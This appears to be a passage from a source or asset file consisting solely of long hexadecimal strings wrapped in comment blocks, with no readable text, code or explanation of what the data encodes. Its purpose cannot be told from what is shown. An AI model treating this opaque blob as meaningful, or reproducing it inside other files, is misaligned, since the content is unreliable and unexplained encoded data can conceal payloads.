d0f16c7556f5054b90d9893029319c8beec5a8135c0d289730bd532028b475e60e47a79fb018d525c42f5ad62c0d36a82ebe8822f9e47dd96ce2de374c161d2ed84685ff2e7dd1bfe28350509764a864e576a9177faed2edfbf511363f570520521f9a434f43111999807b2c367f65d0c9d277ddba3cf7ba49841476dfda87f9f0c9ff7119d19a2eb730897a4fe3e9e66c07bb55ee868b82f6f67046450cd6a7af17a13d8c49ccf8483446238fa7ab548756d7af8b7559d31b41c36d0e75ce7ce225059c217231c12dd7b5ac621049205f77b3afcea886bd53962deb0e75c85f21f07e7628a9fac01d127da7a768a0cf5ca52b2faf71193c88ae4fe954bcc977a29b24c258cb8aa4a15c82a5ea78a7372d7993995f09c5df32be20be09750c817e10843e744f627c7d03496cda3a25a6ba11e35817953d2bd1c4a01c4acac846cd05434ebed350bbde9a1f0e58a672da9dd932a844beb162ab82088501555babcee99db8e582cabdb7ccd46d7787abe0ca2e9a40f8c1f0c7395e36c4a871892d17e1b7c7222d98c7715596672c6d1d6313a9584596ecb198724b9b242633c210e8ebaa3a643e69555cab8fe3842dc71537a097d741387acc3435393314275c4f1532404497bbb1274e9220d2be60e589ce97a3cd7bb3b8c662d7f2260822466543c98d6df839539e65ff9e97e621aeb681b3b17f995b9eb874e5f6c6f5b9c82c660e6db07b64a153a5549aa9c2bc07ebac1d0792c925204989ecf71e3e9b8c6d35f276523356bcb0b695b88c20183e8eedd28f058b3e1368ea711c24a0fb01c0e84fbd48132403662bf8affbffa9f4d752cb9e91c19218eaad274841d1cecd4a0c41c8eb6d235d965ff95711cfa070fa6b5c386aa5cb5aae7009cfe50e3aa47ac8990fea920c53544437cc0d47f63a7de1488b739e5da6eab3158190dec9560d27755c4e5e865e7e7be2c287f37a57dda42f95d80994ce16ed7068d2bd16594259ee4e005c0d6dde3502f7a3b817199f7634a2b68ed0ff4d2d0ae9df8a6a735a260ca2313d87ab5ccc39291fef4403732d6bdcf7532d73e2ee1628126a9dd7c4d02a673a007310ecd77d5b0338ac0253deda36d6fa40a58e468cb6fbbe55234a7d448bb7d513e01c4d83573ae41155a4a954a4303cf91962766f055ee2842f1562ce670b733ffa74ee899cfaac122301837f67f14e77b9031eb43aad7185fcae282e3d1c7ea1bf14d9fe48e071d0a7c73b62be2cd4e508a1dd5baee339df79d7ee32f1aedd2d6d2f50badbfb4104631b63a7da39ce1cf24864ccadff64dafbe28c00db5cf9dbff22bb971a6ad2c8435c413469632e11a337eb22672f66bb89a774ca8a081046c9b0bc2e46fe8889e0cd4709ecca72d1cff5e61703c9ca334f16c0eba67e9cb2461e0e461559dd11cb9cec484e57b70166a1b0e132c18b6a8e71333b69b8f0dfda76b5dd18a0891411f180c0c130c5003e904f6c9e0dbf6b790496894dfe0b0a8af1c8440226f78fc57fd329da00c5f0de11fb9b5e06631480861512609c560d227f9521de7c53a905a423f41c59bea06a43058b1ff812ce1ee6ac4413cc8bdf45707ba4fdfae7cec7b62ae48d3895fc208e20ee8c08769bcc4e1ae0f02b0e624462c7eea9b72e48a7797a4ee27b409f24fe19bff318ed3f1bf1d1618399459c9f90eb7b1dec20fae85f2460b030853b236689ca6c79f0f476ad83f3888a0ffa90cfecff41cf475a667e267c9fad54409c35f655763f62d54e94f6c7d7dbd35af514b6bc5a8efb2ba5c49e0f33ae57535261b0b849a3bf2eca7353e6f9c192f652ae4501b25703e0cb6e162268d0d89a0fa53bb57625501e8c6a9563f25715e1822197955835d6ae0ba6f8710ecdf097ab20b11e842e85a0ac882dceacee489b6f02daf8d3cc6acd6a2224b3531b1248d70a9714a26307ada8530e47*/
/*0621544cc0db7893d4fe4fef6247f825cbb5efcbe3f043dd07c16f7fe6d9e8bbfae4a8600cafe82d352002b92571f215c9ced21874664461a486b939cd04a87d130d014487891781f334c192c3e2c86dac1e983df040a2b01d4afa07271c645113a48f6449de6ebfeaa9fdbe033c4c1dd8ad9fbce0568e138f290c26a8df37db36d22d4d3c5606314fd580cab8683f580ddd3663467ee64f6f2e71436e74f88d030ab5867ea7bfbd2419a271a861022732de907b3a32560d929debfc50d3eecb482c99ccfe5412d51bd85cfeb4b1d5378c858581486ecdb56bc497ada000308d6ad6446704203af24f899ae9a355d11d2b307b45ed80ddb57ff16ff1905d8bac7a6b332bfaaaa0db6136b2736e3254e66d4a37c4abdc683adf4126f7468e252598eb1f58360180b53ebee5ee93ff3e13c234897b7f779eec7b4e3c0e410d5cb8801e01a1861df7b4eff5c8fa70740ce4cc1aea2854ef0684495914721b0cd13d0e9f77d7a513af88290dc5a01163ab72398d8c1dee04825901b0d22e761b7152fe855640e140bb431dd3ea3cb0da2d94bb6ba2336edfe0ff2fb1b161dd675bcc74c1e7f2575d50b4dd1a99f9bdd21c3e7f7a162005b806bf339b9c584977266e8e942dc31770c766c04909e1904d870be1d1074f9207e345eb94ea45b32e70654018527ab3f652cc37e5805c3d2f11d94ddf118a4639c9de5cc3133d46c49f0cb6af57a8bc8ea61b1892b03e2caf248840d3ad68beeaf44174917d2afcfc3db29da03b27b2203c188c94e7cf977bd01dc5caa9f0939e515a551cfa5c499f2d14e2da1cb033aafe51bbe4bb0f9cf0979ac15b086b4b22ac86293e2b026a5521f1b3e979bf8dcee3a7f05bf8ba97fea201072cc1640c1338513c8a55f34687872c9e156a6a7fb0e32512d394d3116307a2520139a386b3638d0d7c6b29432b6a7c5513e47018788bd7d02aedd82f3a2e3b3ef5134546113098f69b17923ef782ddf9cb55e2828aac87e6e36dab4a25ddc0f801517466adb5b64b5406bd6113ba289552aea66e764ddf2a586292af926e706c104f356ec34824afe6f582959413e1e81bb5d7ddc3c7387a8faa7d5e783581a5a57c4fb9097abeaec18c4df1152a6ce4c6fd937decf03ed92196cf118b6fbd5ab16ad0e9e459e32c2324f39b6604429ac978708c5543dae1f0edc4b52bd22c9ea2ed3e271734422bab095473aaa7cb23ee767d4a0edc846531a81087fd6eda76b57dfd9735f1f1af85334d56dd0a83ffb1e17567d50034f78d4f170529b3118d490150540735ff10143fdeae921036be659908a382904691cf2e0e83b1d7adc454bd6446946c0efdf06282ab62f4d4fd80e8217677be0f592a49bfe798b7f6ebbc6db4222b196a319f156e23490de98d269ad8337af95e8813a475330179ed7fe292266aa0ab048f361db610d6b652976acc6898a43193e4dd09505b8a8199864bc4054b5450e175601080131bc54ec34a3a651b8333f5eb824690c9fffd9e10811fb392a5fc081aeeacdfeab8a7d84c4aaf672a215c2bb91539f61882083fae4b8ab4ad863c2b6444e7f8fca44aa4747339efcc7e159ed67d541a579c7a91892e9bc64e08dca4c6ec3e99e5e85ee5ea7d419f88d405351c812696458f7c598d770c3cd9530d12c0a24cbe6aaba0864a52725c9c9a33f8ec586d76f20daeebc9265ed5eaa609c2adb8aeff3fc3e9f49ebc2731c844da1eb090ff2789b82f7982cddec5554e8cf2da677a05c8023276a46d1d7e471892620bdc37ac5593d96ee7544ec02038a8bd522d53b5ba29e4938270d9fd462fe3018fd3d75c4cf800373045bcb2a18e871ff59a0798b1201ed23d72e91688685670891e059762a022d0ca9d0e6b05ebe3786c4cd0bb2aa3cbd07476fa5103a73cabb74aef1294cdca01327b672543b694fffc2b01d54561361f7d99d7b7a3a4dd3f3daa9ffc90a2a90c0bf2e60812a38112637cb1df991d0b196e0bf8699605c448837209e2cbd6af083c921476bbe52e1814943325d07e324354b519d257aba346862a34bc2f138f48b77cc3018100b74c89d4f03c8a33e444bd647b9cd472d479c4dfd930e1e4b9e5609a354576136b577e0f354bb899e3435fa488fb197bcc64a5b27c2fb9c0417921a0e6022ac43855f696b8fd199a3505f491c927123cc7948246f2dc7d383b843281474a4a78749700e04a6a7cfc0d1634e2aed509dd640e08cdd073753b7dba193757bfecd3894392d25a039e9004249c3ee6367ae7ee74ee384b737e518c63c9552471f0225f21ac34af0f45eed1794a7f6792e93aac01cf04f44e6f3ae732b0c40379a82b9b97fc0d2d2d5b73aa736697985553bbd88263f186b7626402adbb8d88d38ffd1a5e24d0436b53d4b528035bc80292238c8019c8ddc22c2520a23c578743e6b9d45848bcc09328f103d1bbe27c8c89cbaec8d84bdcb71ac4b45af0199a9a1eb5b8aa1b563cfebb0e43e04e67ba5073dea2e3d5e4393f9d229b9a3ae42256b0f72e36cc08b7642d8bccb66df443489fe7e14eec08adb232875b1b59fe44ca6a099e5ceda3bc9fac8936975571246472e0a877bba1a492bb6bd500f8fc1f393aea8983b7e7e3796932c3a97935e75f6195c99d29ba2f1793812d462bb9eb76c6cd53a51028c971c0f065a542ebc590bcf329fe035f754efa6b850202d04435555e42b4463f2c8be046f55f6d09d0599eaa04dd74d2ee61e8baecddd4e67d336f4e6396ae0a16ed864e4b999dd50d7e153ec3fcb9778c34a9a1650111113dff5604c79e4c486f6cad6f5f3d322ea01811ddce6ea8ba09b4a56b2263*/
/*88132389ac3038cefe301dff23234daa4430e69d382e6284feeedea3aee9293fab924f33295ac5dbe44c17ab31a9702f588635ad21055d14508df0bc48a7e46e75182a7fdf343af2c7b3c39aab617661898706b85ad5296a95b7791a2fe5b16c84dc2a2e0451d89340474f7fbf4363f971389875b8e5eac8e157df0a3e0e661c42600d2ea0a340ed5d390f91cb7e7235c11784108f239e80e481b7a0a1644fb4cc600e5d07c06d95911c8991215e79fcc35d857e3f49e2ff29f1d02c1039572e125360b167323fc90563a1391b8bea213e2ea72a39d8293a477bd33aeca9a2f974f7b95308425d01519d18e023d00ae33a001ac92bd07be56696c2e3a88a650c49c67900777c5542c72b207e1f22e0faa8566da36226829ebb06fd7296683782c4710748d952e1ccf78033a2c1fbf99f012249e8825da2a21fa164901ee1517a2c3653a1ca89da3d94627114fd1e2f56988d8e44a681681e90533b14d757dd53ece1b0b77151676f142eda707e7a3b0d10d053db7216052ad468cd53fc651d07d47b15a0e6dbcf77ba6e3d3aa141f666a12e7c0af3a1ca707ad0344776ccefb209b2f75c74afbda5389cea8e6afbfef982b9b3c21ca3afb1507491745bf9c7e501f3fb97114918eb3b0435b2908f33652d575c3003251d310a043b9c958cf7e6706ee0eb26bc865ac3bb9add1ce3502181605725e0ef7e8936306650faaf803052ee5eda42b2e9660141550600fddb697c3a611ffd023a6fb90f54e8c22ac395dd3345ef2a9db56e1dc8b4f70e11e40da4cac170c38abd0390c177b7e9c2810eb34532d00ba67a6f9446e52dd912cd4d1a6034e09373d95700e3fc28bb41f9b7b0ecb7d7c34afa993aed8cb30da81eff41952a5d85d406194811a3d638fc8d70cc15323798d36000b7f82bb8059c1a014ae25e589c739b040d2f56339fcea2dedd151eb7abd3cabd93d3a47e6599f9560d2412aeddfdb28823e1b148ccfcb4ab5b840986f75de4eb4b8191d2fb28ee462bfc97d196ff8cccf8aa5e32448eb3321b90adfebb0fa58b14f649e303685658c38464a441e4198e610b9701d3a0cefe50938d631d3f1e3e26160242dbe2837cc618eec0390d107a66136f0a1bc274a92a2dfd8c70d6b064a686073299145015317c0f57780bae49d1e78bba293744828029f5dda5ceac3e54f40d34ed9dd74ecd175b91ee301f591fb7226716161da2d2a5ef944b732588a5e73a3a256b82f1cd7463535560e961adfd50688b69ad5d4c44967100da46f95fb26f0fd9b21e2ac771d5a81ed5bc438f065bdef4a36074f942397793301981d1818746cca90f226b31d0daa04c19cb260dbc8eb42f9e67a4e568a1b4152662c05d9b532840a7157afb4ddc37cd5adf8561753ead5e907222180ead6377eb19e8c10026081333cd945740d2ce28f52eef3f6417fd573cd217bee3f0432ee416df0e7ea0c8acd67c9f104a07f703c287dbedf244ae14113d42e14be4adce630f8445dd30a3e23416352f163d24bc86468d32815f698ab3e57b81e8a86c9b9446faf89fe979f4bd76b07d5fe6cdb19b45e1a9c8d493015cf972d0d4d7a06d18b8c7cc30fe00dfab2bab603bfb08bf6e78ce88eb27734cf99656a4c54054f6992c4d283ee3c6b73bbae1eb5d738672c4c6f2dece1d94d9820e457dd07a06ccb56f37bb74500517d0b8febea76b69829d8c4f80105ab88a9f55d2bbaec0248a6218a3718ba328ccc9fa0508ff63d3dbbaee2bb9c66546ddb8e2a64fdc924872fe8a2653273f77fd0e79137997baa28085ca0e31fe0179ac8f9ccdb9bccc4974e3e5e269415bae67536093fd352ab08e0f0a17e65bc06c71499368af7a271e4799e9c9e603044f188fbd2db0049f7d669c7ed52c2d2d302a3e2b09f4fecad0e7f94830064347d5c3ef2111061f274ff072a74efc0266c230c95aa7bca56ff953222c51bdd755531e5800c5522e013d764d50a03d05daed092d9bee36a0df51ca59cb5252f5722361bb55a3e8b67fdac7fbaab8f8c8926a835791e2bb9287e8d557e620d018e4d86547e5898ce9c8202614081e804facf587ec0c54860adf0781eae755cf38066a6d35ba21bd07045e5ddeb846c36910442f25f50179e796347f1151973bfc515b0fc1e87893d472be78681847d0f966a8b21e51532d628dc64c8162c4f31f2a17decd4388f26e522f7f57b34ea5ec65371fc6402e781d249c5022c7b274d1a0e73a05aafc4b72dcb4b59cc1fc1669641dec612b72448237bf8e65d81aa678a1cf1afb36738179bb836af0382c28fbf0dc6d5c7474b77482eb6e48505d864693a79a7925792fe7fa34a995894c1b60820b2a01d7fbe271081b123309a2ce1cd41bd47378e21ae596683b03931f95a2024c3ce2661f161a6d9c1c1556d1c8bf0152c8a927f98e189e760af9abafd9ecd915ebc6b667bded94b3a17e989efb1c9f15d1509925b6daa12ffd5b0c1850d0bcb1ed41e9d7f7e7b8de4e6a37097a3a37604d061f6241084fd5f1290d75f3613c8eebf7429b2ac21d1f64a0959c4a3be719f6c339ab4d10a3b49c76389ba6a6d37dbd3ebc1b632ab8b8acb1de5adc2043db37a7bc650e9c58b805e1e111008af7dcd1dc7d53877d526e8a9db60071a2320ddcd596ab486c39aac5e200ce9646d417b095983cafbb8990a08f7a0b9a3853e850eebd8414681c13a5514d032f97d0f779f0df28f074fcf143aa60beab6f9a3772c005264b0dc124b9b6cce192e86448750a66b79bdecbe546e24018fdbd0ab91ed49849434bd33e8a645940bd824cccff3cce1a9891e235e7d48556c8d854f881c1bc*/
/*670da1e3ee06d4a13ebc8838ccdba91cfdab44cb08867946180d41ff3c3313af7a2f65d351475f31852197ebe3712b5dc1740ad11ee0d66118217819eca1bec5d1dddb8a865dc689cbbc482bc63f3dca2f61e4fdf8ba94ed03ddc161ef4ca46170c8d7fce1393506afde5855e3caac078ce07c6e011cfac9fbb7779884303e24f6f1903957a08e9eb6d65647266670a1766c5e6f306758f55cb938122327825f0b30a7e887333b2ed78b41eb6395404c734d2f766e5b6b508610d7102c6269c57856038d6af0c10534f04846951b2cc419c7b16e8c7e645fe30212cd474548f575ae5d3cc0413e64fa0dc30804a9e91691dd71d8ca8a03f39b33a6f983946bda180453c28b38379144fd47b3b26c3d0bd82020c757ad3ea11d682ff9747d286c366988dbf4abe22bd72e3751029892f8907b623f9766112063b71dcab4c5a8e88fcfdc07986e302c159b93ca2aa4d53a877f1f79a9166829e5a6fb3ff0582ecea03d003c9d1a41ba6c349a562c881a7397ed0836e678c7d64c9cf8737f0a76f40e474a2302fef85c15206321813caf2ca4757c003de25303f01cdd2941afe09d4aceaeb7918deaaa9170a5eeacf63dfb454286349659d5dc0fba48ff03cae229bd308389892f2c0d5bddbaf656fe93c3e35f9553e7dd7841c57726188878189513bb890744d4d65ec8d3ffdbb02f8bdfb8db5000796d51f7706b1a1f354ffc351c1143cf28ee735165caf6f2f61f47fb1c7ef5658a51d0fe988b4d65ee5ddd27626e743706530f6c058abf95bdb79679c48caa9455c696345a6227988353252b24c6770b0ce2faf90debbf4169a092e475544c1122a631a7ee3a43f5237f3069e54d97d3fa6c7ddffe99141436ffb2e85440fcbd8cca50b215679e685ac1f6e911c56b2a2005d263aa5fe6d76ff77ee71d8aa620e5f89f4a0815ad1f5dd97091ff4a7c4ada1ec9964e3fa7d0893e335f48d9321832e30fbe911771897bbb708287ebff9da14b256cbf1453af63005e0f723b8da73a61d40713f64aadeb21e1a7fccad7a174c0645d6d83bcb22240667ce30f154a3280b27424eafa2dc3fac08f5b3a4cf69c4eb44b8f09c639b18185b69cfb378b5e514207232a735148a16bcbb94cb0b8aaeadb4c674ccd24d6c5acc465858f7f82fcb3f4af3f09316c3769eb2ce0d3d358800f42728ea5c99118ffa852e95e9d58933ffd61354d5d67fda1ddb66b53ab4a29c45fde4b011a031f7a0b1e9b784d2fa8908cf5f5e3d1306285247bca404367e147efe50b02075b8053baae12043e5b5e10729bb8e864cf3c4c2d2f2042a3d7510cc1b460930c9077dc2b9de5b8002d8ef08b3556541a7ac96062f970c640f71d80845847526fb28c8a3d4abec3287c6f050cf0b46cf5dec95b70a0541a5e969318ee8f8b28c2cd308a27ec8122a3f6fa86aef45983141bb36c0512ca72c25c5a48bc71551b79c701b5b1a83ec17984ea544d098e33ce8db19fae38bad836c11b1f19f65ed9f510148ac7025abfb5ddb8ec77cce3e2a5dd1be6a411cd81ad27270f1f02e75499033814849677c0ca87a82d8e220fc3f1ed7b441059b02679720b5915946747547eecb78e330fe882e7b815b3711ae568b465f83c4bdd59922399e5988d59e0c0c983a7989b59813e83951f52396230aca3e6e3e79eb9ba1d6905b01e9210efd192afa0f2bdf832f1f5158d24bfbadcaa19ab5fad01afd8febf058148e9bea27b35d2456ecc73bc540168942e796aa1fb97cb7b0a1c83777511a33c7ca40a10da79ce36939aa883009ff915ea3c34d20c8f966e74161b0ced4d4bcb8012fe25b4b0ba45d52dedfcd3294b1df2b36c090d7338e2d30f7d25412872ada935a3c4140af92d58838377b2af7aac9f33df3fa721645ff5582b8a0efa39591459a608c991c12eb36ad6e46d01ce450b0087af0ed692a684fa5f20b669f54f468c4aa79ba85b272cc3e42ad94bf64ab7f126cad18332d3806c3b438153a68134d37410feb2830ba0a2297591decc299d70a71101e25736f21946db1f1bea724b2d12f3b534b8b3f6622eba827b91746f459b59a68c70f653dd7bc0c58b42e3f3963ec7c798b01710fba717dad1f4f40a379e87cf38f280d8ce19ae7d140fed4fdec2c2b7f338d21e95c8e6e6728327df13f822ebe2083bb9de2ab09d261d8c948fee9ab038109ccf353ef07b0fcfa62576a89c0417ad694ac0fdc933edfa850c72b61cba31ee01d26c662d02b88276d1a7a3d1ff7de2c98b3865477985ae6b8ddf30be931f22bec83525ffd0137ec71ae99d230d3a291a8ed9d54e412b26cbdff5e4db56512c75e6e8057c9e5804801fcc78c1871256386239b30df45da8989fc32c1358d3dbd16b3afdc50b1ecfc4cbca57aa42abccd48a5bd6ae722869c9cde5793ac541ba411204fa67f1a592d47768d2ee5c19fb67099ae444c09dbc34f0bd35b934da1053b84f22592911f293f0ceef6cf9842129b9535272791901a6606fd66d8b0bd05f030734745ce508837ff1e9d0bd2ad20037d564e204ce67bc56d1c20737ac6ae6ff3801dca1604d7654dfd54bf81fb6f0f1d419fc1e045010eabd284375ed51f4b303a69ea5376aed65e97df61b93cbad344428580655f82d91f1916eda0b7aadffdbab1544e35ecbe8b88cf362055575f4f8a26a3bae8cfe8ba90a27fd40d07a6ee8035fdfe22603e91a7554d8329ed13b52d41722add7b3dace76be6e9f97921bcbfe5092d738ec303847df1123432bb55fb3e264c9fa7f676860c7f1e142ac0153d19e08a022b9d9b7dd086f7d26696c5620c657d6d558bd2525670b3c56efe7*/
/*d5ec062f76db7b282eecbaead80790ab8481ee6cd72c9f8ab5ed00bb90395f4f1e24762fb205ea586e3c04d856f34ae839d79d10392e67d158ef2fe10a78f64317fc31e9c612858982c1dfbf02d7b293529fe94e346a34fb23db521ab63d865171e7159fe7f23c141c4d95512a06038d1db20e7db8508f178580a8d1fd60033ef861c2dfb84f8a233b68d02942207cc4a81a620da58acc02398cd87de35c83ea84df30941db41c3cc87701056e021ffb16834b67cfdcdb8ab34c109ce8b4a3588e2e4424272b5d78ade98e129cb6456c8e57c73a3b05af4278cfa1382e698b8a493fbbb73f41b364e114e16fc61e3848abfcf3fbb1ed594b90a508a00a60643646688c1456ef5a0e3c7a5b539cd530cd5364e7157f632dd03e9ffc758ada8194162ce377cc7a30fa95572c8fe1473780f0f287c8cdb40ad9456389f854c6811b025e3e1a0314098b21fec8847a9d9092926c4c53f9eab72c7fee1b130c1d17cacdf1e54b950ca617a1175ed40ad24c6b3da186ac412759e67cb582853a5bb7b6bd1057fc3615852f63bc170452df7180720c454b1b716fac4f30fe6eb8e4e38e8a66618b52c113d3177b5f06b068b5840c68bb2599d6e057fab2aa6851eaea56b58e52b03e1a996f61a2706f5a11c0e99ad137919458ea7eaac3314cb367ae8a5b9555d6c7fb3c9db9d74c12d5596aec3fcb162c14a83bdb16620b95dfe725683c16006b1231fbbd35a5e117c089729d5c04f62de2be7928851e563e839c465f755470734c50728635d2983aa25450b84f22f7352a6912b18bd51d6035d7de3f237984800e91135937fe28e741db1356c6a5cdcc489a998f88ba99ad987d99bb018045ba7b3db947c35022df99fd880f8ac9cfe313e003fa1a039bb6dac57d53f1832ee1e2abaead924e4a2e7dd5a4b5c75855d11db45a65a9346019da80273b7d25ce4b1004e4514d565737e748a6202ada1986336073a87f9a4124a7a97c18723be3e1e8e239bccc63794e24f3bfd99e69b1444fe2a427f904b14118a587fff3acbaf2d1d9e53882801a60412952adf3f6dc8d2d5123165c3dd4496bee6c4510741dbd9d9a8e94f10eea37e2eaf1f3b9c69442e9960672536a799fd3a79699f5009c0cf54bb847ba046b66bf7e7c5e1c732cce34c8aaa7d6726231e86378646fb2741db208bdc9e195c37c59c0c5f579674eee53128122f1fb53bb48dd67b8d1705fb79a74bbf02e0d33af9c654a88105e608b8fc1aaf72aab33aa0548fc80dc5c1958e748f07761ee4720ba9bf3fd5ffd33ae10596d5c4e78a5ad00c218f3f962b45da4efcbc9248db8e196b53cd6b90d4c36852e50940794265f5dd386277f93aa92c4e4ee1f93bac239297cc5d9db6d9a8c3ec73f50115cd10b4d47d2f1b375c903d0cabf41d857d89a91f79d35b5c665e16c9feccbb8ec6f143c07e46d1cbe72af08f632f9020e98b48c6b32f2e52f44542ca21cc0bef07f1060025011023a3e595c9d4f35320178ef47dc08ec12f7e396d17820fa630c2cce1c14eca7d66be1fa270c2b14578947a3a77b4bbcbdaeca2ffe9c9a4a3b76b022a194213037bf63d6670a7ecec47c80126bc9ddfe6be36940936cc978385136bc9812150786114716e302558be1378e8fd5457e184ea365fcc82820c2ff1957d8f33f5b2d0d55dbda01df90434773b1d93762df83722fff68e549d36abe8d95170b6e6102544f38eec0bf4cd08cef9046e47aef750a741d3fd57cb5803820b95055ac87cec101a673ec0397a5e63e34b7e791279364757b5b10a4990269ce4133b1b48f02c3234b264abf212310737b6aa1c7430d6bb896fb58e5601914bd04acf30d00c1d4c729398252e7dd74515294cec9660f08a515dd1891c509e1313623b4250f0bc2b4545c4b3cd60a9e2801f5f6177d44edc80c8d45dc9286b1f6714a75440a7cd1d38e8095b7e6a6a3e614d8bd71aaf9074176da0ddd25910b9f1c92a6b6e2a7d46d01c9877d398046110e41d68b63f4c061d1e6f0554e8d3015a30420bcbe930b8516ab0050828d2048260d32eb5f844f99ff923ecccb007ab7f599e30aa8de70cc5cc1893e78d784781f050ac26b42745a7a71312769c2331a6e579fcb7a1761ad1e548badd7a380ecc13d4240e699b8a4a828f493faa3c6002adb62e19bfb0d97a01d4c4de4a0d718b8f2f49dd3133fcedb1d9eaabf975487a2ffb8c4779578eac9557f0fb173744778063b36085ca9b75773a382b1db6fcf18ea2bdcb848eb4d5ff4fd04ead0c6af652cc38a83d309e7b7bd9350f271baa16b2a36bf4ca8c4519c613ce5d82286fb93d66479605ba69c0e45c78a0736041e12fa151cd71aa2fd1f4e75c87e24c69f7ceff99a8e8d177838b5a45230f5ec7c6c06eab294403e99099b4a3a22a836d3463cd3af1812bac112e235212170bbc031d1041c55c51e8e8ebc7178980855eab52cc033b6a7e0f1ff1896cad157a59fa22dcd6ff6bd95a15412f4e8057e36e97190260ad336d6a64f2bf2c5fe9d893678b4515babbc3229bb1e8f84ee5b29af6cfbed999f4051c2c1ba0892cad8254e294bd6c9aae2e05a228230a170327d574248e67c4490f89e22a1563ae5f6551317e605ab35879bb55d3dbf3cb629d2380780d3609d711cf19b671d690e2f95b51a5404b10b9693ec3768654fee54f855c310a32af06372d9894aec0b603e5aada502a89248598f018cb63eebae744bbf453f9876fc9b5184ca9ae03daa960f34bcc876892f2a989499b88324284fe48d38b4fb539c6d7ecfff3ebf7fea68f3a9726980c4ca3be15e37fad837ace7466ac430ac650b37*/
/*a439514ee7c04d019379855f1b5d4196a23269db742faece87a85c18babe110395df1e9513138d5221a5d52e0f620ec841967f576e4f6e5f0277a0ceb72fffb377877deee57709a16b4e8304a24a39ad52ad39504cd34ee5c576262d65284c01b5bbffe777166b8d6ee143bba20c814f59d43908dcd41683bc441effed0f46f59352353660b8a1e5ecec3b017f4e108044be23474af143fe5eec48066f31ad771a63de182aae0d4227466b9ad8976a797de35b364aa2b3f91319ecf712d3b187101324f1bf4932d257ee4ada2669f13eb4c9c125e0679c63cdc4219235f6a198697233bcf98219142a2854ffcaab84f38b46fdea77caf1d837a795aaa3960854cc4132b64f16f8921bc932c1ce64e47311da04768481252968961db0bc08024f0abcd20bee359f2ece9f7544957bf9d62a480e2096679f3917756009d39ad61436be526761f11c044045e1575704a1e2098681832eefe175985c9783aad2634a0bd10c3a34afa3f2ca5560b4f5a4dd1e9d620d6510bc719cae20b1aed19ecca3a5d7de99c923ca258eb32bdbcce23a5e4636396a56121c1c0af323b118899ea79f9c149b56a802fb0f4395b1c7f5c0773c50652b89a1f98d1cad79141c8c5cdace401d6936fcc09a2154c2a911af7dc98901ccd728748c48d1917cfc24b8f578b7efc1515c57a691fb18e1a77a18fc32f89685475f9d784f80343795a0c5cfb3123edf439a247f7e21144bef6ee455cf2188fd96de660331d31ab6b45a624d433875d4b1a82b82ba646c45680d1b31a446c98faae299c3cce448fca693c773a387642febcf3fc216e26a20870e3c038e117c6ddecd639e003168d4797ef0256ef7ccdd1fec324cf5a780adab7172f5079b744c6465d4a948c6a9170f055278cbe09c0fd3b14c72a17a5b7f6f743a0d652012d889e3f89cef13263c1a1061f4e2e5a9d3712d5e022db0533e3439938a00a1860c9e544a6e45f4862b080a403f6e086ba35e9e78a61a6a357f94a13a22aeb1f6f551c98b0b2d71baff9664ed0f7e9192cd13b54ae480c1287def93d5753fe9a546d0c30e2919676a0560a2ed49ca6034694d4763e9ffb03441ecd841b871db19e904daf9e9bccd87a377bda3601e48ddef1c5940fd86d9b9b0842ca4174f7a49c97b980592cb746218b174f090e04a8c6c19f82a85637a5f0e4e3c01a7057b2559d64f6cec717d8cdc48d9a44e0c27decded5e01cfd64bbe75dea03adbca9e4b61612f7478e9e3c20e2c0af3cae32fd9fbbd4339b8e8632005dd93f6874de2bea1cec67ad128254432f362b3c47b4688a753c817d79cb15206f34786b008664800223a4d4fd28969d672cec8e2e3f5f826f6273e1e99bd40bacc1d0a35595aa14d076e5677068caa3f275a51b945ccde0cbd27656ca95d0709b534c06969ca28527c412c423e25c60e82dfb8f97bff29ac67db8e9098e07871db1b0e3ce3c86281aaafddd4972644eb38c0f2fd9dca3b84d755cf42d5c92a4bf4afb6fc48b16531a726570c7ec66808f45236fc2f0022086ce6e944ffca0a6409b471b98a802ed93b4c5f5b76d09479b44b6c981742486dd4547161081eaeeba79024914c34b0c52acd829181fa8624248511aeb9a4822ee1ba58a64b625c0daf44eb2984cfc7fa5fb4438ed4c6e98fa2705fc1c934f28f860c97e4a107e29e359dd81658210d73774193bd7c0771124c06722540954ab9bd4656cd1b1e7c842e20d6ef948f970e1ac326c98593c3b1a252ce61e2af4dcf76c52a428cdbe75e60e8004f84e752cf68131107d23ee6344a089c11dbb92482376b6260d71218b1981fbe5b60d2c1f55badd314e4b665be7ef559e335e4f372d73fa3a6345c99194f2d62858130e6e77aa7dd0c3e7501b8774f46c73b3cd377ba342359f1a0b7385af7dc032b1811ce151633388f9dc3d2444f2a7dc04bb8497ca0a0d72e8030b9bad25e3e52dd317aa9de7e6197b66af0997e5b5242519ff48cdd389cd0e17249c7472498a084a7f207f7721487d195347c0479027b3f7624b6b3805f7459cd2340e6927348ca8a5854e3111b182cd91dc62b5faa22c7432b4f37916c9e554f9e8fde83e29f9b358d539a81a1172d9200d546eccb8c0aab502c9082611f1325333e257bd8a4e9fad084befe254636a77fd0b00a54408392ed5752ebd97f5ae795968dcdfd929166ac82716b0b6258c3f0b35124443f692b893a48b2d040aab226d1679f675cf555128727564388d28ec96f61404503b53c3bf01bc7831a6598aab0a2a56f5165fff08729ed02d29ab4876a0437321b5c2f7c89d4a1842c7994557c1da598ae36d3aba206a48c13c6d0026b735d0f51a2f739fda97f8b15c28c02e0a8df6862fbd2147a309789e8f933c49fc351cc1d450f0062bd40a138c7408365adf02d423655f875db9ba2e56a1c36585d5fb33580339ee4390778f5249c2941507e8646a262533847e54005c9d3f512508d1990b89af643b860d1295c7a2bd03921eaffa175052c9e8fda186383c05be55cb4ab50c4430ea6dafd54fe55987ab8d1ec63d58672c1525a3b24bac3c839a77f51e79dbaa0054b2e775257c79d1293bdea277c28e1b17075e5e76de72674d9ad2047eb60655357029a036bf625efee1c9033411fb1b9c0413fb3a51aa020c232207571cc4c3b4d95d53f90e2c03cc944e33b5ab417e0afa96df3dcbd424578f063b4b49690bdfdf24401e3b603d280dba3359a958f124093c79b0f0b103abc5cbb876a2349d223dfc69758bab2f9451b1645f649ffb9f5338c493a9f8b3074430388ec6d40e1214b691d065675e44e17518c*/
